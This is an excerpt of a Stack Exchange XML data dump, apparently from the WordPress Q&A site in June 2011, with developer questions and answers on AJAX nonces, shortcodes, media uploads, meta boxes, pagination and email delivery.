  <row Id="19826" PostTypeId="1" AcceptedAnswerId="19835" CreationDate="2011-06-12T17:55:25.743" Score="1" ViewCount="85" Body="&lt;p&gt;I have a feature in my current project that will be allow multiple ajax requests - I've got a single nonce request worked out (via &lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this tute&lt;/a&gt;), but am somewhat unsure how to figure in multiple nonce requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php : localize, create a single nonce&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_localize_script( 'B99-Portfolio', 'B99ajax', array(  'ajaxurl'       =&amp;gt; admin_url( 'admin-ajax.php' ),&#xA;                                                                    'requestNonce'  =&amp;gt; wp_create_nonce('b99-request-nonce')) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;calling js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;        type    : 'POST',&#xA;        url     : B99ajax.ajaxurl,&#xA;        data    : {&#xA;            action          : 'b99-ajax-submit',&#xA;            requestNonce    : B99ajax.requestNonce&#xA;        },...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;receiving php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function b99_ajax_submit() {&#xA;        $nonce = $_POST['requestNonce'];&#xA;        if ( ! wp_verify_nonce( $nonce, 'b99-request-nonce' ) )&#xA;&#xA;... sql, response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, I can reuse this nonce repeatedly, but I think that defeats the purpose of the nonce check. My solution will be to request a new nonce in the receiving php, assign B99ajax js object that variable, and send it back to the requesting page for the &quot;next&quot; ajax sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="5430" LastActivityDate="2011-06-12T22:56:21.427" Title="Multiple ajax nonce requests" Tags="&lt;ajax&gt;&lt;security&gt;&lt;nonce&gt;" AnswerCount="1" />
  <row Id="19827" PostTypeId="2" ParentId="19824" CreationDate="2011-06-12T18:17:21.527" Score="1" ViewCount="" Body="&lt;p&gt;To remove elements in the media editor, you can &lt;em&gt;unset&lt;/em&gt; them. I haven't tested it for the insert button, but you can try this. Put this function in the &lt;code&gt;functions.php&lt;/code&gt; file of your theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_media_editor_fields($fields) {&#xA;  unset($fields['submit']);&#xA;  return $fields;&#xA;}&#xA;add_filter('attachment_fields_to_edit','remove_media_editor_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with CSS, for both elements you cite :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_admin_styles() {&#xA;&#xA;    if( !current_user_can('administrator') ){&#xA;        echo '&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            #media-items #savesend .button{display:none!important;}&#xA;                 #gallery-settings{display:none!important;}&#xA;        &amp;lt;/style&amp;gt;';&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-12T23:04:48.147" LastActivityDate="2011-06-12T23:04:48.147" CommentCount="2" />
  <row Id="19828" PostTypeId="2" ParentId="19610" CreationDate="2011-06-12T18:38:26.400" Score="1" ViewCount="" Body="&lt;p&gt;In current form your code dumbs down object to kind of function call (get created, do something, die). Such usage won't do if you want object to do something long before that object is created and destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of creating object inside of metabox content I'd do following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create object some time early.&lt;/li&gt;&#xA;&lt;li&gt;Use object's method to deal with scripts.&lt;/li&gt;&#xA;&lt;li&gt;Use another object's method as meta box callback.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-12T18:38:26.400" />
  <row Id="19829" PostTypeId="1" CreationDate="2011-06-12T19:10:42.127" Score="0" ViewCount="44" Body="&lt;p&gt;Right now I'm developing a project for my company, and basically my boss asked me to display this into certain category post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.imagehousing.com/image/766326&quot; rel=&quot;nofollow&quot;&gt;http://www.imagehousing.com/image/766326&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, I have to be able to display those 4 last values, and keep an array or so with the last 10 values that would be displayed on a lightbox is the lower option is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complicated part is that after value number 10, the oldest value have to erase automatically, so user won't have to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm totally out of idea for that, I was thinking about custom fields with the position array for each, however like I said I cannot keep infite custom fields, only ten :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone around have an idea how to achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards!!!&lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-06-12T21:02:59.940" Title="Advanced manager date" Tags="&lt;custom-field&gt;&lt;events&gt;&lt;array&gt;" AnswerCount="0" />
  <row Id="19830" PostTypeId="1" CreationDate="2011-06-12T19:54:49.190" Score="1" ViewCount="112" Body="&lt;p&gt;I want to develop a script that: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Gets an image from a post's content and removes it (it's hosted on another website)&lt;/li&gt;&#xA;&lt;li&gt;Uploads it in the uploads directory&lt;/li&gt;&#xA;&lt;li&gt;Adds it in the media library and &lt;/li&gt;&#xA;&lt;li&gt;Lastly returns the content with the image saved on server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't make the third step. The problem is that wp_insert_attachment. Every time it's run inside a function called by add_filter, either apache returns &quot;PHP Fatal error:  Allowed memory size&quot; (my php memory limit is 124MB) or the page keeps loading forever. The same problem doesn't occur when wp_insert_attachment runs outside of a function called by add_filter. I cannot put it outside though because I want to feed it with the $image_path data received from download_image function. I also tried calling a separate function that does step 3, run from inside of download_image function, with $image_path passed as a variable but the same problem occurred. Why that happens, any ideas on how to solve it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('content_save_pre', 'translatep1');&#xA;&#xA;function download_image($content_save_pre) {&#xA;preg_match('/&amp;lt;img[^&amp;lt;]+&amp;gt;/i',$content_save_pre, $result); // Find first image with tags&#xA;$image_tags=$result[0]; // Save image with tags&#xA;$content_save_pre=str_replace($image_tags,'',$content_save_pre); // Remove image with tags&#xA;preg_match('/http[^&quot;]+/i',$result[0], $result); // Find URL  &#xA;$url_only=$result[0];  &#xA;preg_match('/[^\/]+$/i',$result[0], $result); // Find filename&#xA;$filename=$result[0];&#xA;$uploads=wp_upload_dir(); // Find Upload dir path&#xA;$uploads_path=$uploads['path'];&#xA;$uploads_url=$uploads['url'];&#xA;&#xA;$image=file_get_contents($url_only); // Save image in uploads folder  &#xA;file_put_contents($uploads_path . '/' . $filename,$image);&#xA;&#xA;$image_url=$uploads_url . '/' . $filename; // URL of the image on the disk&#xA;$image_path=$uploads_path . '/' . $filename; // Path of the image on the disk&#xA;&#xA;// Add image in the media library - Step 3&#xA;&#xA;$wp_filetype = wp_check_filetype(basename($image_path), null );&#xA;$attachment = array(&#xA;   'post_mime_type' =&amp;gt; $wp_filetype['type'],&#xA;   'post_title' =&amp;gt; preg_replace('/\.[^.]+$/', '', basename($image_path)),&#xA;   'post_content' =&amp;gt; '',&#xA;   'post_status' =&amp;gt; 'inherit'&#xA;);&#xA;$attach_id=wp_insert_attachment($attachment,$image_path);&#xA;require_once(ABSPATH . 'wp-admin/includes/image.php');&#xA;$attach_data=wp_generate_attachment_metadata($attach_id,$image_path);&#xA;wp_update_attachment_metadata($attach_id,$attach_data);&#xA;&#xA;return '&amp;lt;img src=&quot;' . $image_url . '&quot;/&amp;gt;' . $content_save_pre; // Return content with the image saved on server&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might that be a bug or something. Should I report it?&lt;/p&gt;&#xA;" OwnerUserId="6106" LastEditorUserId="6106" LastEditorDisplayName="" LastEditDate="2011-06-17T13:49:24.890" LastActivityDate="2011-06-17T13:49:24.890" Title="How can I get an image from the uploads dir and enter it in the media library?" Tags="&lt;plugins&gt;&lt;attachments&gt;" />
  <row Id="19831" PostTypeId="1" CreationDate="2011-06-12T19:55:26.903" Score="0" ViewCount="53" Body="&lt;p&gt;I'm am attempting to change the rewrite argument after it has been defined and passed as an argument for 'register_post_type' in a plugin. My issue is that I am utilizing a plugin that defines a custom post type. I can manually edit the rewrite argument in the plugin; however, doing so will mean that I have to do this every time the plugin updates. I was wondering if there is a way that I can change this with some code in another plugin or functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking there might be a function that would allow me to alter these arguments or a way in which I could unregister and reregister the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-12T05:22:36.417" Title="Changing 'rewrite' argument after custom post type is registered" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19832" PostTypeId="2" ParentId="19831" CreationDate="2011-06-12T20:51:53.480" Score="0" ViewCount="" Body="&lt;p&gt;Which plugin are you using? If you are using custom post UI this is possible. I can point to the right direction once I know which plugin are you using?&lt;/p&gt;&#xA;" OwnerUserId="6144" LastActivityDate="2011-06-12T20:51:53.480" CommentCount="2" />
  <row Id="19834" PostTypeId="1" CreationDate="2011-06-12T21:36:26.950" Score="0" ViewCount="36" Body="&lt;p&gt;I've been reading this forum for a while now but this is my first post, I did read the FAQ but if I have messed anything up please be kind, I will (hopefully) get better!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched a lot on Google / on here / the WP forums and also spoke to someone who knows a lot more than me but have not yet been able to find a definitive answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two WP_Query loops running on a page (showing Premium and Basic listings respectively) they're working fine but now I'd like to add some pagination at the bottom, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A | B | C | D etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when you click A you get all the posts from both the loops beginning with A and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not an expert at all but I have been able to figure a lot of stuff out for myself up to this point (and from reading other people's questions on this forum), I'm really hoping someone can point me in the right direction with this assuming it is possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my question is way over what would be considered reasonable on here I am more than happy to pay someone to do this, but I've already spoken to a couple of people who know more than me who weren't sure either so I&quot;m not really sure where to start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I wasn't sure if it would help and my code is pretty long so I put it in pastebin (link below). I had a few goes at pagination earlier but it didn't work so I've just stripped everything out relating to pagination again so it's clean at least, I'm not sure if it will help as it's a more theoretical question I know but I'm just including it for the same of completeness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/v052Hgin&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/v052Hgin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6145" LastActivityDate="2011-06-12T21:36:26.950" Title="How do you create an alphabetised pagination for two WP_Query loops?" Tags="&lt;wp-query&gt;&lt;pagination&gt;" />
  <row Id="19835" PostTypeId="2" ParentId="19826" CreationDate="2011-06-12T22:56:21.427" Score="1" ViewCount="" Body="&lt;p&gt;That is basically the way WordPress does it and pretty much the only way to do it, simply have your receiving PHP function create a new nonce add send it back with your response,  then just update the value on your JS before the next round.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-12T22:56:21.427" />
  <row Id="19836" PostTypeId="2" ParentId="19822" CreationDate="2011-06-12T22:59:01.160" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at List category posts plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/list-category-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-12T22:59:01.160" />
  <row Id="19837" PostTypeId="1" CreationDate="2011-06-12T23:01:33.737" Score="0" ViewCount="27" Body="&lt;p&gt;Well, it seems that firefox is rendering my blog incorrectly. It shifts all of the content of my blog (except for the header) down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.bignotch.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.bignotch.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that when the page first loads, the content is where it's supposed to be for a split second, then shifts down about 700 pixels. Does anyone have an idea on why firefox would be doing this?&lt;/p&gt;&#xA;" OwnerUserId="6120" LastActivityDate="2011-08-12T03:22:33.227" Title="Blog Content is Shifted down FireFox" Tags="&lt;wordpress.com&gt;" AnswerCount="2" />
  <row Id="19838" PostTypeId="1" AcceptedAnswerId="19852" CreationDate="2011-06-12T23:22:28.487" Score="4" ViewCount="343" Body="&lt;p&gt;I'd like users to be able to create and remove additional meta box fields as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say a music podcast with a variable amount of songs played per episode. &#xA;The user should be able to click a button that will add additional fields to enter each song as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally this would be done without the use of a plugin, but coded into the functions file.&lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2011-06-15T20:13:29.667" Title="Create more Meta Boxes as needed" Tags="&lt;metabox&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" />
  <row Id="19839" PostTypeId="2" ParentId="19837" CreationDate="2011-06-12T23:28:10.787" Score="0" ViewCount="" Body="&lt;p&gt;Your page has many &lt;a href=&quot;http://validator.w3.org/check?uri=http://blog.bignotch.com&amp;amp;charset=%28detect%20automatically%29&amp;amp;doctype=Inline&amp;amp;group=0&quot; rel=&quot;nofollow&quot;&gt;markup errors&lt;/a&gt;. try sorting them out. Also validate your theme's CSS as well.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-12T23:28:10.787" />
  <row Id="19840" PostTypeId="2" ParentId="19811" CreationDate="2011-06-12T23:41:44.947" Score="1" ViewCount="" Body="&lt;p&gt;there are a few way to run a function in widgets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;option 1 - ShortCodes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a custom shortcode and run that function by entering the shortcode into a simple text widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this is to make sure WordPress renders the shortcodes in a text widget&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&#xA;add_shortcode('my_short_code','my_function');&#xA;&#xA;function my_function(){&#xA;  //do whatever you want&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then simply add &lt;code&gt;[my_short_code]&lt;/code&gt; to any text widget to run your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2 Plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use one of the many plugins out there that let you run php in a widget like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-sidebar-essential/&quot; rel=&quot;nofollow&quot;&gt;WP Sidebar Essential&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/php-widgetify/&quot; rel=&quot;nofollow&quot;&gt;PHP-Widgetify&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 3 Custom Widgets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last way is to write your own widget using the very simple &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-12T23:41:44.947" />
  <row Id="19841" PostTypeId="2" ParentId="19772" CreationDate="2011-06-13T00:01:29.533" Score="1" ViewCount="" Body="&lt;p&gt;While this is possible using htaccess directives or mod_proxy on your server side, WordPress doesn't like unexpected requests and will cause you all kinds of problems. Scripts are not designed to run across sites either. &#xA;If you want to display all your posts on your main domain you need to move your WordPress instance over to the main domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-13T00:01:29.533" />
  <row Id="19842" PostTypeId="2" ParentId="19810" CreationDate="2011-06-13T00:09:29.937" Score="1" ViewCount="" Body="&lt;p&gt;The only time I've seen this happen is with a theme using JavaScript that is conflicting with the JavaScript in the WordPress administration area. If this is what is happening to you then its a poorly-coded theme and you should change to a different theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a premium theme you should contact the theme developer (if you know who that is). Since you have labelled this as a wordpress.com issue you should also check the wordpress.com support options for help if you are set on continuing to use that theme. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-13T00:09:29.937" />
  <row Id="19843" PostTypeId="2" ParentId="19838" CreationDate="2011-06-13T00:20:18.407" Score="0" ViewCount="" Body="&lt;p&gt;This is done through custom fields BUT you should never use anything that lets users &lt;strike&gt;add&lt;/strike&gt; create or remove meta boxes. These write directly into the database so you could potentially create a whole lot of problems for your site if you give users this kind of control. It's far safer for you to create the maximum number of custom fields they may need and let them leave some blank where they are not needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also plugin territory. The functions file is theme-specific whereas plugins are for functions that apply to the site content, especially if you want that content to be available regardless of which theme you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some suggestions: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/verve-meta-boxes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/more-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="2761" LastEditorDisplayName="" LastEditDate="2011-06-14T02:11:38.373" LastActivityDate="2011-06-14T02:11:38.373" CommentCount="4" />
  <row Id="19844" PostTypeId="2" ParentId="19837" CreationDate="2011-06-13T00:43:00.923" Score="0" ViewCount="" Body="&lt;p&gt;The theme you started with, Blue Fusion, is very old and may not be fully compatible with WordPress now. Your wp-mailing list plugin is using CSS 1, which is ancient and likely to cause browser issues. However, the gap in the page appears to be caused by hidden JavaScript elements. You have several content errors - such as missing Audio-player code and flash elements being called. These are returning 404 Not Found errors that are being inserted into that space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try disabling plugins that you aren't using and make sure that you remove references from your theme for any scripts that are related to these. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-13T00:43:00.923" />
  <row Id="19845" PostTypeId="1" CreationDate="2011-06-13T01:23:00.157" Score="0" ViewCount="80" Body="&lt;p&gt;I encountered an issue with my vps hosting, that appears WP does not send any notifications mails, and neither a contact form plugin can't send mails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosting company made a test php file, using the php &lt;strong&gt;mail()&lt;/strong&gt; function and within that test file a mail is being sent from the server and being received in my mailbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be solved, &lt;strong&gt;I do not want to install all the wp-smtp plugins,&lt;/strong&gt; but to solve this using the default WP mail sending, which is working for me fine in any other hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I ask from the hosting company to set/check in order to be able using the WP default mail sending? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-06-13T01:23:00.157" Title="WordPress does not send emails, on a VPS hosting" Tags="&lt;email&gt;" CommentCount="3" />
  <row Id="19847" PostTypeId="2" ParentId="19637" CreationDate="2011-06-13T03:38:42.823" Score="2" ViewCount="" Body="&lt;p&gt;Firstly, reverse the order in your conditional.  You should use &lt;code&gt;if ( false == $stop ) { ...&lt;/code&gt;  It's called a &quot;Yoda conditional&quot; and is on the list of best practices for WP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, &lt;code&gt;media_sideload_image&lt;/code&gt; won't return a WP error object if things fail.  If things fail, it will return the ID of the post passed in (&lt;code&gt;$pid&lt;/code&gt; in your case).  If successful it will return the HTML to render the image just inserted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend just dumping the contents of &lt;code&gt;$upload&lt;/code&gt; to see what's in there and see if things are successful.  So the &lt;code&gt;if(is_wp_error())&lt;/code&gt; code ... replace it with &lt;code&gt;wp_die( $upload )&lt;/code&gt; and see what comes out.  If it's an id, then something's wrong on your system and you need to investigate why your server can't download images.  If it's HTML markup for an image, then the image is being added and you're ready to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, take a look at the actual &lt;code&gt;media_sideload_image()&lt;/code&gt; function in &lt;code&gt;/wp-admin/includes/media.php&lt;/code&gt; around line 569.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Edit: 6/20/11&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I took a deeper look at the code, and started walking through breakpoints I set in the WordPress code, which is where I finally found the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While processing the image, &lt;code&gt;media_sideload_image()&lt;/code&gt;will eventually make a call to &lt;code&gt;media_handle_image()&lt;/code&gt;, which is in the same file.  No problems here.  But this other function makes a call to &lt;code&gt;wp_read_image_metadata()&lt;/code&gt;, which is a function defined in another file that we haven't yet included!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for us (and it obviously hasn't been discovered yet because this code goes against WP best practices), there's a nasty &lt;code&gt;@&lt;/code&gt; symbol before that function call.  The &lt;code&gt;@&lt;/code&gt; symbol in PHP will silence any errors thrown by the parser, so PHP sees a &quot;function not defined&quot; error and stops ... giving us a blank page and leaving us scratching our heads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So adding the following line to the list of &lt;code&gt;require_once()&lt;/code&gt;s will actually load and insert the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(ABSPATH . 'wp-admin/includes/image.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only other thing giving me a headache was that you code was for &lt;code&gt;post_type=link_post&lt;/code&gt; ... I didn't have that post type defined, so I was running in circles trying to figure out why &lt;code&gt;wp_insert_post()&lt;/code&gt; wasn't working ... it was, and I now have 100 &quot;Test Post&quot;s in my DB :-)&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-21T01:52:10.167" LastActivityDate="2011-06-21T01:52:10.167" CommentCount="4" />
  <row Id="19848" PostTypeId="1" AcceptedAnswerId="19891" CreationDate="2011-06-13T04:41:03.557" Score="0" ViewCount="54" Body="&lt;p&gt;For some reason the WP_Query instance in my shortcode function won't take the query attribute sent from the shortcode. The shortcode is like this: [postlist query=&quot;post_type=any&amp;amp;posts_per_page=5&quot; style=&quot;list&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hey_query_shortcode( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'query' =&amp;gt; '',&#xA;        'style' =&amp;gt; ''&#xA;    ), $atts ) );&#xA;&#xA;        ob_start(); &#xA;        $the_query = new WP_Query( $query );&#xA;        while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;I know $style is set bc it shows up here: &amp;lt;?php echo $style; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;I know $query is set bc it shows up here: &amp;lt;?php echo $query; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    endwhile; &#xA;    echo '&amp;lt;hr&amp;gt;';&#xA;    wp_reset_postdata();&#xA;&#xA;    $list = ob_get_clean();&#xA;    return $list;&#xA;&#xA;}&#xA;&#xA;add_shortcode( 'postlist', 'hey_query_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is going on here? $query echoes out fine but for some reason it doesn't affect the WP_Query query.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-06-13T16:48:22.387" Title="Trouble passing attribute into shortcode function" Tags="&lt;wp-query&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="19849" PostTypeId="2" ParentId="19802" CreationDate="2011-06-13T05:33:10.473" Score="2" ViewCount="" Body="&lt;p&gt;You will need to set a Static Page as your front page, create and assign a PHP Template for that page, and stack multiple Queries in the template to search out your required categories and display them. Here is one, you might have many:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the last post (any date) from 'Featured' category&#xA;$featured = new WP_Query( 'category_name=Featured&amp;amp;posts_per_page=1' );&#xA;if ( $featured-&amp;gt;have_posts() )&#xA;{&#xA;    while ( $featured-&amp;gt;have_posts() )&#xA;    {&#xA;        $featured-&amp;gt;the_post(); // fill $post with data&#xA;        ?&amp;gt;&#xA;            &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                &amp;lt;!-- output markup and display the post(s) --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php &#xA;    }&#xA;}&#xA;rewind_posts();&#xA;&#xA;// start next query&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you an idea, at least, there is a fair bit to it.  Good luck.&lt;/p&gt;&#xA;" OwnerUserId="6131" LastActivityDate="2011-06-13T05:33:10.473" CommentCount="1" />
  <row Id="19850" PostTypeId="1" AcceptedAnswerId="19916" CreationDate="2011-06-13T07:04:43.750" Score="1" ViewCount="140" Body="&lt;p&gt;I want to allow users to upload images for use in a rotating banner. I tried using the media library, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18678/plugging-into-the-media-library-to-upload-images-not-associated-with-any-post&quot;&gt;but didn't get much help&lt;/a&gt; ... So I thought, I'd just implement the upload myself. But I encountered another problem... I am using the settings API they do the update options and stuff for me. How can I handle the upload then? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of using the validate callback to upload images and then set $_POST variables manually so that Settings API can save those. But it sounds wrong. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-13T21:36:27.857" Title="How to upload images using Settings API" Tags="&lt;theme-development&gt;&lt;uploads&gt;&lt;settings&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19851" PostTypeId="1" CreationDate="2011-06-13T07:27:38.963" Score="0" ViewCount="23" Body="&lt;p&gt;Does WordPress validate inputs made to all built-in functions that access the database to protect against SQL injection vulnerabilities or do we have to validate before passing them?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-06-13T07:27:38.963" Title="Does WordPress validate inputs to all functions? (such as get_user_meta and insert_user_meta)" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;security&gt;" />
